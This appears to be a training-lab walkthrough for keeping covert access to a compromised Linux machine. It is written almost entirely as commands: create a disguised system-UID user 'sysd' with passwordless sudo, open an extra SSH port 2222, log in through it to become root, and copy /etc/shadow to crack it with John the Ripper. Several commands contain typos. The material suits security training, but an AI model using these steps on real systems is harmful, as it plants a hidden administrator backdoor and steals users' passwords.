Step 1: Shadow People

1. Create a secret user named `sysd`. Make sure this user doesn't have a home folder created:
    - `adduser –no-create-home sysd`
2. Give your secret user a password:
    - `passwd sysd`
3. Give your secret user a system UID < 1000:
    - `usermod -u 868 sysd`
4. Give your secret user the same GID:
    - `groupmod -g 868 sysd`
5. Give your secret user full `sudo` access without the need for a password:
    - `echo "sysd ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers`
6. Test that `sudo` access works without your password:

```
su sysd
```

Step 2: Smooth Sailing

1. Edit the `sshd_config` file:

```
Sudo nano /etc/ssh/sshd_config
Uncomment port 22 and add Port 2222
save the file and restart the ssh service
sudo systemctl restart ssh
```

Step 3: Testing Your Configuration Update

1. Restart the SSH service:
    - `Sudo systemctl restart shh`
2. Exit the `root` account:
    - `exit`
3. SSH to the target machine using your `sysd` account and port `2222`:
    - `Ssh sysd@192.168.6.105 -p 2222`
4. Use `sudo` to switch to the root user:
    - `Sudo su`

Step 4: Crack All the Passwords

1. SSH back to the system using your `sysd` account and port `2222`:
    - `Ssh sysd@192.168.6.105 -p 2222`
2. Escalate your privileges to the `root` user. Use John to crack the entire `/etc/shadow` file:
    - `Cp /etc/shadow /shadow1`
    - `John shadow1`